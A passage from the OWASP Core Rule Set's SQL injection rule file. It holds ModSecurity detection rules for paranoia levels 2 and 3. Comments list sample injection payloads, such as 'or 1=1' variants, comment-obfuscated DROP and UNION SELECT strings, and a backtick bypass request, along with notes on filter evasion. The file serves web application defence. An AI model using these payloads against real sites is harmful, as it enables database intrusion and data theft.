ver:'OWASP_CRS/3.3.2',\ 874 | severity:'CRITICAL',\ 875 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 876 | setvar:'tx.anomaly_score_pl2=+%{tx.critical_anomaly_score}'" 877 | 878 | # This rule is a stricter sibling of 942360. 879 | # The keywords 'alter' and 'union' led to false positives. 880 | # Therefore they have been moved to PL2 and the keywords have been extended on PL1. 881 | # 882 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i:^[\W\d]+\s*?(?:alter|union)\b)" \ 883 | "id:942361,\ 884 | phase:2,\ 885 | block,\ 886 | capture,\ 887 | t:none,t:urlDecodeUni,\ 888 | msg:'Detects basic SQL injection based on keyword alter or union',\ 889 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 890 | tag:'application-multi',\ 891 | tag:'language-multi',\ 892 | tag:'platform-multi',\ 893 | tag:'attack-sqli',\ 894 | tag:'OWASP_CRS',\ 895 | tag:'capec/1000/152/248/66',\ 896 | tag:'PCI/6.5.2',\ 897 | tag:'paranoia-level/2',\ 898 | ver:'OWASP_CRS/3.3.2',\ 899 | severity:'CRITICAL',\ 900 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 901 | setvar:'tx.anomaly_score_pl2=+%{tx.critical_anomaly_score}'" 902 | 903 | # This rule is a sibling of 942330. See that rule for a description and overview. 904 | # 905 | # This rule is also triggered by the following exploit(s): 906 | # [ SAP CRM Java vulnerability CVE-2018-2380 - Exploit tested: https://www.exploit-db.com/exploits/44292 ] 907 | # 908 | # Regexp generated from util/regexp-assemble/regexp-942370.data using Regexp::Assemble. 909 | # To rebuild the regexp: 910 | # cd util/regexp-assemble 911 | # ./regexp-assemble.pl regexp-942370.data 912 | # Note that after assemble an ignore case flag is added 913 | # to the Regexp::Assemble output: 914 | # (?i:ASSEMBLE_OUTPUT) 915 | # 916 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i:[\"'`](?:\s*?(?:(?:\*.+(?:(?:an|i)d|between|like|x?or|div)\W*?[\"'`]|(?:between|like|x?or|and|div)\s[^\d]+[\w-]+.*?)\d|[^\w\s?]+\s*?[^\w\s]+\s*?[\"'`]|[^\w\s]+\s*?[\W\d].*?(?:--|#))|.*?\*\s*?\d)|[()\*<>%+-][\w-]+[^\w\s]+[\"'`][^,]|\^[\"'`])" \ 917 | "id:942370,\ 918 | phase:2,\ 919 | block,\ 920 | capture,\ 921 | t:none,t:urlDecodeUni,\ 922 | msg:'Detects classic SQL injection probings 2/3',\ 923 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 924 | tag:'application-multi',\ 925 | tag:'language-multi',\ 926 | tag:'platform-multi',\ 927 | tag:'attack-sqli',\ 928 | tag:'OWASP_CRS',\ 929 | tag:'capec/1000/152/248/66',\ 930 | tag:'PCI/6.5.2',\ 931 | tag:'paranoia-level/2',\ 932 | ver:'OWASP_CRS/3.3.2',\ 933 | severity:'CRITICAL',\ 934 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 935 | setvar:'tx.anomaly_score_pl2=+%{tx.critical_anomaly_score}'" 936 | 937 | # Regexp generated from util/regexp-assemble/regexp-942380.data using Regexp::Assemble. 938 | # To rebuild the regexp: 939 | # cd util/regexp-assemble 940 | # ./regexp-assemble.pl regexp-942380.data 941 | # 942 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|!REQUEST_COOKIES:/_pk_ref/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?:\b(?:having\b ?(?:[\'\"][^=]{1,10}[\'\" ?[=<>]+|\d{1,10} ?[=<>]+)|(?i:having)\b\s+(?:'[^=]{1,10}'|\d{1,10})\s*?[=<>])|exists\s(?:s(?:elect\S(?:if(?:null)?\s\(|concat|top)|ystem\s\()|\b(?i:having)\b\s+\d{1,10}|'[^=]{1,10}'|\sselect)|(?i:\bexecute\s{1,5}[\w\.$]{1,5}\s{0,3})|(?i:\bcreate\s+?table.{0,20}?\()|(?i:\blike\W*?char\W*?\()|(?i:select.*?case)|(?i:from.*?limit)|(?i:\bexecute\()|(?i:order\sby))" \ 943 | "id:942380,\ 944 | phase:2,\ 945 | block,\ 946 | capture,\ 947 | t:none,t:urlDecodeUni,\ 948 | msg:'SQL Injection Attack',\ 949 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 950 | tag:'application-multi',\ 951 | tag:'language-multi',\ 952 | tag:'platform-multi',\ 953 | tag:'attack-sqli',\ 954 | tag:'OWASP_CRS',\ 955 | tag:'capec/1000/152/248/66',\ 956 | tag:'PCI/6.5.2',\ 957 | tag:'paranoia-level/2',\ 958 | ctl:auditLogParts=+E,\ 959 | ver:'OWASP_CRS/3.3.2',\ 960 | severity:'CRITICAL',\ 961 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 962 | setvar:'tx.anomaly_score_pl2=+%{tx.critical_anomaly_score}'" 963 | 964 | # Regexp generated from util/regexp-assemble/regexp-942390.data using Regexp::Assemble. 965 | # To rebuild the regexp: 966 | # cd util/regexp-assemble 967 | # ./regexp-assemble.pl regexp-942390.data 968 | # 969 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|!REQUEST_COOKIES:/_pk_ref/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?:\b(?:(?i:xor)\b\s+(?:'[^=]{1,10}'(?:\s*?[=<>])?|\d{1,10}(?:\s*?[=<>])?)|(?i:or)\b\s+(?:'[^=]{1,10}'(?:\s*?[=<>])?|\d{1,10}(?:\s*?[=<>])?))|(?i:\bor\b ?[\'\"][^=]{1,10}[\'\"] ?[=<>]+)|(?i:'\s+xor\s+.{1,20}[+\-!<>=])|(?i:'\s+or\s+.{1,20}[+\-!<>=])|(?i:\bor\b ?\d{1,10} ?[=<>]+))" \ 970 | "id:942390,\ 971 | phase:2,\ 972 | block,\ 973 | capture,\ 974 | t:none,t:urlDecodeUni,\ 975 | msg:'SQL Injection Attack',\ 976 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 977 | tag:'application-multi',\ 978 | tag:'language-multi',\ 979 | tag:'platform-multi',\ 980 | tag:'attack-sqli',\ 981 | tag:'OWASP_CRS',\ 982 | tag:'capec/1000/152/248/66',\ 983 | tag:'PCI/6.5.2',\ 984 | tag:'paranoia-level/2',\ 985 | ctl:auditLogParts=+E,\ 986 | ver:'OWASP_CRS/3.3.2',\ 987 | severity:'CRITICAL',\ 988 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 989 | setvar:'tx.anomaly_score_pl2=+%{tx.critical_anomaly_score}'" 990 | 991 | # Regexp generated from util/regexp-assemble/regexp-942400.data using Regexp::Assemble. 992 | # To rebuild the regexp: 993 | # cd util/regexp-assemble 994 | # ./regexp-assemble.pl regexp-942400.data 995 | # Note that after assemble an outer bracket with an ignore case flag is added 996 | # to the Regexp::Assemble output: 997 | # (?i:ASSEMBLE_OUTPUT) 998 | # 999 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|!REQUEST_COOKIES:/_pk_ref/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i:\band\b(?:\s+(?:'[^=]{1,10}'(?:\s*?[=<>])?|\d{1,10}(?:\s*?[=<>])?)| ?(?:[\'\"][^=]{1,10}[\'\"]|\d{1,10}) ?[=<>]+))" \ 1000 | "id:942400,\ 1001 | phase:2,\ 1002 | block,\ 1003 | capture,\ 1004 | t:none,t:urlDecodeUni,\ 1005 | msg:'SQL Injection Attack',\ 1006 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 1007 | tag:'application-multi',\ 1008 | tag:'language-multi',\ 1009 | tag:'platform-multi',\ 1010 | tag:'attack-sqli',\ 1011 | tag:'OWASP_CRS',\ 1012 | tag:'capec/1000/152/248/66',\ 1013 | tag:'PCI/6.5.2',\ 1014 | tag:'paranoia-level/2',\ 1015 | ctl:auditLogParts=+E,\ 1016 | ver:'OWASP_CRS/3.3.2',\ 1017 | severity:'CRITICAL',\ 1018 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 1019 | setvar:'tx.anomaly_score_pl2=+%{tx.critical_anomaly_score}'" 1020 | 1021 | # The former rule id 942410 was split into three new rules: 942410, 942470, 942480 1022 | # 1023 | # This rule is also triggered by the following exploit(s): 1024 | # [ SAP CRM Java vulnerability CVE-2018-2380 - Exploit tested: https://www.exploit-db.com/exploits/44292 ] 1025 | # 1026 | # Regexp generated from util/regexp-assemble/regexp-942410.data using Regexp::Assemble. 1027 | # To rebuild the regexp: 1028 | # cd util/regexp-assemble 1029 | # ./regexp-assemble.pl regexp-942410.data 1030 | # Note that after assemble an outer bracket with an ignore case flag is added 1031 | # to the Regexp::Assemble output. 1032 | # And a word boundary is added before and a non-word character with an opening bracket 1033 | # is added after the Regexp::Assemble output: 1034 | # (?i:\bASSEMBLE_OUTPUT\W*?\() 1035 | # 1036 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|!REQUEST_COOKIES:/_pk_ref/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i:\b(?:c(?:o(?:n(?:v(?:ert(?:_tz)?)?|cat(?:_ws)?|nection_id)|(?:mpres)?s|ercibility|(?:un)?t|alesce)|ur(?:rent_(?:time(?:stamp)?|date|user)|(?:dat|tim)e)|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|ast|r32)|s(?:t(?:d(?:dev(?:_(?:sam|po)p)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(?:_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha[12]?|oundex|chema|ig?n|leep|pace|qrt)|i(?:s(?:_(?:ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull)|(?:free|used)_lock)|null)?|n(?:et(?:6_(?:aton|ntoa)|_(?:aton|ntoa))|s(?:ert|tr)|terval)?|f(?:null)?)|d(?:a(?:t(?:e(?:_(?:format|add|sub)|diff)?|abase)|y(?:of(?:month|week|year)|name)?)|e(?:(?:s_(?:de|en)cryp|faul)t|grees|code)|count|ump)|l(?:o(?:ca(?:l(?:timestamp)?|te)|g(?:10|2)?|ad_file|wer)|ast(?:_(?:insert_id|day))?|e(?:(?:as|f)t|ngth)|case|trim|pad|n)|u(?:n(?:compress(?:ed_length)?|ix_timestamp|hex)|tc_(?:time(?:stamp)?|date)|p(?:datexml|per)|uid(?:_short)?|case|ser)|r(?:a(?:wto(?:nhex(?:toraw)?|hex)|dians|nd)|e(?:p(?:lace|eat)|lease_lock|verse)|o(?:w_count|und)|ight|trim|pad)|t(?:ime(?:_(?:format|to_sec)|stamp(?:diff|add)?|diff)?|o_(?:(?:second|day)s|base64|n?char)|r(?:uncate|im)|an)|m(?:a(?:ke(?:_set|date)|ster_pos_wait|x)|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:nth(?:name)?|d)|d5)|f(?:i(?:eld(?:_in_set)?|nd_in_set)|rom_(?:unixtime|base64|days)|o(?:und_rows|rmat)|loor)|p(?:o(?:w(?:er)?|sition)|eriod_(?:diff|add)|rocedure_analyse|assword|g_sleep|i)|a(?:s(?:cii(?:str)?|in)|es_(?:de|en)crypt|dd(?:dat|tim)e|(?:co|b)s|tan2?|vg)|b(?:i(?:t_(?:length|count|x?or|and)|n(?:_to_num)?)|enchmark)|e(?:x(?:tract(?:value)?|p(?:ort_set)?)|nc(?:rypt|ode)|lt)|g(?:r(?:oup_conca|eates)t|et_(?:format|lock))|v(?:a(?:r(?:_(?:sam|po)p|iance)|lues)|ersion)|o(?:(?:ld_passwo)?rd|ct(?:et_length)?)|we(?:ek(?:ofyear|day)?|ight_string)|n(?:o(?:t_in|w)|ame_const|ullif)|h(?:ex(?:toraw)?|our)|qu(?:arter|ote)|year(?:week)?|xmltype)\W*?\()" \ 1037 | "id:942410,\ 1038 | phase:2,\ 1039 | block,\ 1040 | capture,\ 1041 | t:none,t:urlDecodeUni,\ 1042 | msg:'SQL Injection Attack',\ 1043 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 1044 | tag:'application-multi',\ 1045 | tag:'language-multi',\ 1046 | tag:'platform-multi',\ 1047 | tag:'attack-sqli',\ 1048 | tag:'OWASP_CRS',\ 1049 | tag:'capec/1000/152/248/66',\ 1050 | tag:'PCI/6.5.2',\ 1051 | tag:'paranoia-level/2',\ 1052 | ctl:auditLogParts=+E,\ 1053 | ver:'OWASP_CRS/3.3.2',\ 1054 | severity:'CRITICAL',\ 1055 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 1056 | setvar:'tx.anomaly_score_pl2=+%{tx.critical_anomaly_score}'" 1057 | 1058 | 1059 | # The former rule id 942410 was split into three new rules: 942410, 942470, 942480 1060 | # 1061 | # Regexp generated from util/regexp-assemble/regexp-942470.data using Regexp::Assemble. 1062 | # To rebuild the regexp: 1063 | # cd util/regexp-assemble 1064 | # ./regexp-assemble.pl regexp-942470.data 1065 | # Note that after assemble an outer bracket with an ignore case flag is added 1066 | # to the Regexp::Assemble output: 1067 | # (?i:ASSEMBLE_OUTPUT) 1068 | # 1069 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|!REQUEST_COOKIES:/_pk_ref/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i:(?:xp_(?:reg(?:re(?:movemultistring|ad)|delete(?:value|key)|enum(?:value|key)s|addmultistring|write)|(?:servicecontro|cmdshel)l|e(?:xecresultset|numdsn)|ntsec(?:_enumdomains)?|terminate(?:_process)?|availablemedia|loginconfig|filelist|dirtree|makecab)|s(?:p_(?:(?:addextendedpro|sqlexe)c|p(?:assword|repare)|replwritetovarbin|is_srvrolemember|execute(?:sql)?|makewebtask|oacreate|help)|ql_(?:longvarchar|variant))|open(?:owa_util|rowset|query)|(?:n?varcha|tbcreato)r|autonomous_transaction|db(?:a_users|ms_java)|utl_(?:file|http)))" \ 1070 | "id:942470,\ 1071 | phase:2,\ 1072 | block,\ 1073 | capture,\ 1074 | t:none,t:urlDecodeUni,\ 1075 | msg:'SQL Injection Attack',\ 1076 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 1077 | tag:'application-multi',\ 1078 | tag:'language-multi',\ 1079 | tag:'platform-multi',\ 1080 | tag:'attack-sqli',\ 1081 | tag:'OWASP_CRS',\ 1082 | tag:'capec/1000/152/248/66',\ 1083 | tag:'PCI/6.5.2',\ 1084 | tag:'paranoia-level/2',\ 1085 | ctl:auditLogParts=+E,\ 1086 | ver:'OWASP_CRS/3.3.2',\ 1087 | severity:'CRITICAL',\ 1088 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 1089 | setvar:'tx.anomaly_score_pl2=+%{tx.critical_anomaly_score}'" 1090 | 1091 | 1092 | # The former rule id 942410 was split into three new rules: 942410, 942470, 942480 1093 | # 1094 | # Regexp generated from util/regexp-assemble/regexp-942480.data using Regexp::Assemble. 1095 | # To rebuild the regexp: 1096 | # cd util/regexp-assemble 1097 | # ./regexp-assemble.pl regexp-942480.data 1098 | # Note that after assemble an outer bracket with an ignore case flag is added 1099 | # to the Regexp::Assemble output: 1100 | # (?i:ASSEMBLE_OUTPUT) 1101 | # 1102 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|!REQUEST_COOKIES:/_pk_ref/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i:(?:\b(?:(?:s(?:elect\b.{1,100}?\b(?:(?:(?:length|count)\b.{1,100}?|.*?\bdump\b.*)\bfrom|to(?:p\b.{1,100}?\bfrom|_(?:numbe|cha)r)|(?:from\b.{1,100}?\bwher|data_typ)e|instr)|ys_context)|in(?:to\b\W*?\b(?:dump|out)file|sert\b\W*?\binto|ner\b\W*?\bjoin)|u(?:nion\b.{1,100}?\bselect|tl_inaddr)|group\b.*?\bby\b.{1,100}?\bhaving|d(?:elete\b\W*?\bfrom|bms_\w+\.)|load\b\W*?\bdata\b.*?\binfile)\b|print\b\W*?\@\@)|(?:;\W*?\b(?:shutdown|drop)|collation\W*?\(a|\@\@version)\b|'(?:s(?:qloledb|a)|msdasql|dbo)'))" \ 1103 | "id:942480,\ 1104 | phase:2,\ 1105 | block,\ 1106 | capture,\ 1107 | t:none,t:urlDecodeUni,\ 1108 | msg:'SQL Injection Attack',\ 1109 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 1110 | tag:'application-multi',\ 1111 | tag:'language-multi',\ 1112 | tag:'platform-multi',\ 1113 | tag:'attack-sqli',\ 1114 | tag:'OWASP_CRS',\ 1115 | tag:'capec/1000/152/248/66',\ 1116 | tag:'PCI/6.5.2',\ 1117 | tag:'paranoia-level/2',\ 1118 | ctl:auditLogParts=+E,\ 1119 | ver:'OWASP_CRS/3.3.2',\ 1120 | severity:'CRITICAL',\ 1121 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 1122 | setvar:'tx.anomaly_score_pl2=+%{tx.critical_anomaly_score}'" 1123 | 1124 | 1125 | # 1126 | # [ SQL Injection Character Anomaly Usage ] 1127 | # 1128 | # This rule is also triggered by the following exploit(s): 1129 | # [ SAP CRM Java vulnerability CVE-2018-2380 - Exploit tested: https://www.exploit-db.com/exploits/44292 ] 1130 | # 1131 | # This rules attempts to gauge when there is an excessive use of 1132 | # meta-characters within a single parameter payload. 1133 | # 1134 | # Expect a lot of false positives with this rule. 1135 | # The most likely false positive instances will be free-form text fields. 1136 | # This will make it necessary to disable the rule for certain known parameters. 1137 | # The following directive is an example to switch off the rule globally for 1138 | # the parameter foo. Place this instruction in your configuration after 1139 | # the include directive for the Core Rules Set. 1140 | # 1141 | # SecRuleUpdateTargetById 942430 "!ARGS:foo" 1142 | # 1143 | 1144 | #SecRule ARGS_NAMES|ARGS|XML:/* "@rx ((?:[~!@#\$%\^&\*\(\)\-\+=\{\}\[\]\|:;\"'´’‘`<>][^~!@#\$%\^&\*\(\)\-\+=\{\}\[\]\|:;\"'´’‘`<>]*?){12})" \ 1145 | # "id:942430,\ 1146 | # phase:2,\ 1147 | # block,\ 1148 | # capture,\ 1149 | # t:none,t:urlDecodeUni,\ 1150 | # msg:'Restricted SQL Character Anomaly Detection (args): # of special characters exceeded (12)',\ 1151 | # logdata:'Matched Data: %{TX.1} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 1152 | # tag:'application-multi',\ 1153 | # tag:'language-multi',\ 1154 | # tag:'platform-multi',\ 1155 | # tag:'attack-sqli',\ 1156 | # tag:'OWASP_CRS',\ 1157 | # tag:'capec/1000/152/248/66',\ 1158 | # tag:'PCI/6.5.2',\ 1159 | # tag:'paranoia-level/2',\ 1160 | # ver:'OWASP_CRS/3.3.2',\ 1161 | # severity:'WARNING',\ 1162 | # setvar:'tx.anomaly_score_pl2=+%{tx.warning_anomaly_score}',\ 1163 | # setvar:'tx.sql_injection_score=+%{tx.warning_anomaly_score}'" 1164 | 1165 | 1166 | # 1167 | # -=[ Detect SQL Comment Sequences ]=- 1168 | # 1169 | # Example Payloads Detected: 1170 | # ------------------------- 1171 | # OR 1# 1172 | # DROP sampletable;-- 1173 | # admin'-- 1174 | # DROP/*comment*/sampletable 1175 | # DR/**/OP/*bypass blacklisting*/sampletable 1176 | # SELECT/*avoid-spaces*/password/**/FROM/**/Members 1177 | # SELECT /*!32302 1/0, */ 1 FROM tablename 1178 | # ‘ or 1=1# 1179 | # ‘ or 1=1-- - 1180 | # ‘ or 1=1/* 1181 | # ' or 1=1;\x00 1182 | # 1='1' or-- - 1183 | # ' /*!50000or*/1='1 1184 | # ' /*!or*/1='1 1185 | # 0/**/union/*!50000select*/table_name`foo`/**/ 1186 | # ------------------------- 1187 | # 1188 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|!REQUEST_COOKIES:/_pk_ref/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?:/\*!?|\*/|[';]--|--[\s\r\n\v\f]|--[^-]*?-|[^&-]#.*?[\s\r\n\v\f]|;?\\x00)" \ 1189 | "id:942440,\ 1190 | phase:2,\ 1191 | block,\ 1192 | capture,\ 1193 | t:none,t:urlDecodeUni,\ 1194 | msg:'SQL Comment Sequence Detected',\ 1195 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 1196 | tag:'application-multi',\ 1197 | tag:'language-multi',\ 1198 | tag:'platform-multi',\ 1199 | tag:'attack-sqli',\ 1200 | tag:'OWASP_CRS',\ 1201 | tag:'capec/1000/152/248/66',\ 1202 | tag:'PCI/6.5.2',\ 1203 | tag:'paranoia-level/2',\ 1204 | ver:'OWASP_CRS/3.3.2',\ 1205 | severity:'CRITICAL',\ 1206 | setvar:'tx.anomaly_score_pl2=+%{tx.critical_anomaly_score}',\ 1207 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}'" 1208 | 1209 | 1210 | # 1211 | # -=[ SQL Hex Evasion Methods ]=- 1212 | # 1213 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|!REQUEST_COOKIES:/_pk_ref/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i:\b0x[a-f\d]{3,})" \ 1214 | "id:942450,\ 1215 | phase:2,\ 1216 | block,\ 1217 | capture,\ 1218 | t:none,t:urlDecodeUni,\ 1219 | msg:'SQL Hex Encoding Identified',\ 1220 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 1221 | tag:'application-multi',\ 1222 | tag:'language-multi',\ 1223 | tag:'platform-multi',\ 1224 | tag:'attack-sqli',\ 1225 | tag:'OWASP_CRS',\ 1226 | tag:'capec/1000/152/248/66',\ 1227 | tag:'PCI/6.5.2',\ 1228 | tag:'paranoia-level/2',\ 1229 | ver:'OWASP_CRS/3.3.2',\ 1230 | severity:'CRITICAL',\ 1231 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 1232 | setvar:'tx.anomaly_score_pl2=+%{tx.critical_anomaly_score}'" 1233 | 1234 | 1235 | # 1236 | # -=[ Detect SQLi bypass: backticks ]=- 1237 | # 1238 | # Quotes and backticks can be used to bypass SQLi detection. 1239 | # 1240 | # Example: 1241 | # GET http://localhost/test.php?id=9999%20or+{`if`(2=(select+2+from+wp_users+where+user_login='admin'))} 1242 | # 1243 | # The minimum text between the ticks or backticks must be 2 (if, for example) and a maximum of 29. 1244 | # 29 is a compromise: The lower this number (29), the lower the probability of FP and the higher the probability of false negatives. 1245 | # In tests we got a minimum number of FP with {2,29}. 1246 | # 1247 | # Base64 encoding detection: 1248 | # (?:[A-Za-z0-9+/]{4})+ #match any number of 4-letter blocks of the base64 char set 1249 | # (?:[A-Za-z0-9+/]{2}== #match 2-letter block of the base64 char set followed by "==", together forming a 4-letter block 1250 | # | # or 1251 | # [A-Za-z0-9+/]{3}= #match 3-letter block of the base64 char set followed by "=", together forming a 4-letter block 1252 | # )? 1253 | # 1254 | # The minimal string that triggers this regexp is: `if` 1255 | # 1256 | # The rule 942510 is related to 942110 which catches a single ' or ` 1257 | # 1258 | # The rule 942511 is similar to this rule, but triggers on normal quotes 1259 | # ('if'). That rule runs in paranoia level 3 or higher since it is prone to 1260 | # false positives in natural text. 1261 | # 1262 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?:`((?:[\w\s=_\-+{}()<@]){2,29}|(?:[A-Za-z0-9+\/]{4})+(?:[A-Za-z0-9+\/]{2}==|[A-Za-z0-9+\/]{3}=)?)`)" \ 1263 | "id:942510,\ 1264 | phase:2,\ 1265 | block,\ 1266 | capture,\ 1267 | t:none,t:urlDecodeUni,\ 1268 | msg:'SQLi bypass attempt by ticks or backticks detected',\ 1269 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 1270 | tag:'application-multi',\ 1271 | tag:'language-multi',\ 1272 | tag:'platform-multi',\ 1273 | tag:'attack-sqli',\ 1274 | tag:'OWASP_CRS',\ 1275 | tag:'capec/1000/152/248/66',\ 1276 | tag:'PCI/6.5.2',\ 1277 | tag:'paranoia-level/2',\ 1278 | ver:'OWASP_CRS/3.3.2',\ 1279 | severity:'CRITICAL',\ 1280 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 1281 | setvar:'tx.anomaly_score_pl2=+%{tx.critical_anomaly_score}'" 1282 | 1283 | 1284 | SecRule TX:EXECUTING_PARANOIA_LEVEL "@lt 3" "id:942015,phase:1,pass,nolog,skipAfter:END-REQUEST-942-APPLICATION-ATTACK-SQLI" 1285 | SecRule TX:EXECUTING_PARANOIA_LEVEL "@lt 3" "id:942016,phase:2,pass,nolog,skipAfter:END-REQUEST-942-APPLICATION-ATTACK-SQLI" 1286 | # 1287 | # -= Paranoia Level 3 =- (apply only when tx.executing_paranoia_level is sufficiently high: 3 or higher) 1288 | # 1289 | 1290 | 1291 | # 1292 | # [ SQL HAVING queries ] 1293 | # 1294 | # This pattern was split off from rule 942250 due to frequent 1295 | # false positives in English text. Testing showed that SQL 1296 | # injections with HAVING should be detected by libinjection 1297 | # (rule 942100). 1298 | # 1299 | # This is a stricter sibling of rule 942250. 1300 | # 1301 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i)\W+\d*?\s*?having\s*?[^\s\-]" \ 1302 | "id:942251,\ 1303 | phase:2,\ 1304 | block,\ 1305 | capture,\ 1306 | t:none,t:urlDecodeUni,\ 1307 | msg:'Detects HAVING injections',\ 1308 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 1309 | tag:'application-multi',\ 1310 | tag:'language-multi',\ 1311 | tag:'platform-multi',\ 1312 | tag:'attack-sqli',\ 1313 | tag:'OWASP_CRS',\ 1314 | tag:'capec/1000/152/248/66',\ 1315 | tag:'PCI/6.5.2',\ 1316 | tag:'paranoia-level/3',\ 1317 | ver:'OWASP_CRS/3.3.2',\ 1318 | severity:'CRITICAL',\ 1319 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 1320 | setvar:'tx.anomaly_score_pl3=+%{tx.critical_anomaly_score}'" 1321 | 1322 | # This rule is a stricter sibling of 942330. See that rule for a 1323 | # description and overview. 1324 | # 1325 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx [\"'`][\s\d]*?[^\w\s]\W*?\d\W*?.*?[\"'`\d]" \ 1326 | "id:942490,\ 1327 | phase:2,\ 1328 | block,\ 1329 | capture,\ 1330 | t:none,t:urlDecodeUni,\ 1331 | msg:'Detects classic SQL injection probings 3/3',\ 1332 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 1333 | tag:'application-multi',\ 1334 | tag:'language-multi',\ 1335 | tag:'platform-multi',\ 1336 | tag:'attack-sqli',\ 1337 | tag:'OWASP_CRS',\ 1338 | tag:'capec/1000/152/248/66',\ 1339 | tag:'PCI/6.5.2',\ 1340 | tag:'paranoia-level/3',\ 1341 | ver:'OWASP_CRS/3.3.2',\ 1342 | severity:'CRITICAL',\ 1343 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 1344 | setvar:'tx.anomaly_score_pl3=+%{tx.critical_anomaly_score}'" 1345 | 1346 | # 1347 | # [ SQL Injection Character Anomaly Usage ] 1348 | # 1349 | # This rule attempts to gauge when there is an excessive use of 1350 | # meta-characters within a single parameter payload. 1351 | # 1352 | # It is similar to 942430, but focuses on Cookies instead of 1353 | # GET/POST parameters. 1354 | # 1355 | # Expect a lot of false positives with this rule. 1356 | # The most likely false positive instances will be complex session ids. 1357 | # This will make it necessary to disable the rule for certain known cookies. 1358 | # The following directive is an example to switch off the rule globally for 1359 | # the cookie foo_id. Place this instruction in your configuration after 1360 | # the include directive for the Core Rules Set. 1361 | # 1362 | # SecRuleUpdateTargetById 942420 "!REQUEST_COOKIES:foo_id" 1363 | # 1364 | 1365 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|!REQUEST_COOKIES:/_pk_ref/|REQUEST_COOKIES_NAMES "@rx ((?:[~!@#\$%\^&\*\(\)\-\+=\{\}\[\]\|:;\"'´’‘`<>][^~!@#\$%\^&\*\(\)\-\+=\{\}\[\]\|:;\"'´’‘`<>]*?){8})" \ 1366 | "id:942420,\ 1367 | phase:2,\ 1368 | block,\ 1369 | capture,\ 1370 | t:none,t:urlDecodeUni,\ 1371 | msg:'Restricted SQL Character Anomaly Detection (cookies): # of special characters exceeded (8)',\ 1372 | logdata:'Matched Data: %{TX.1} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 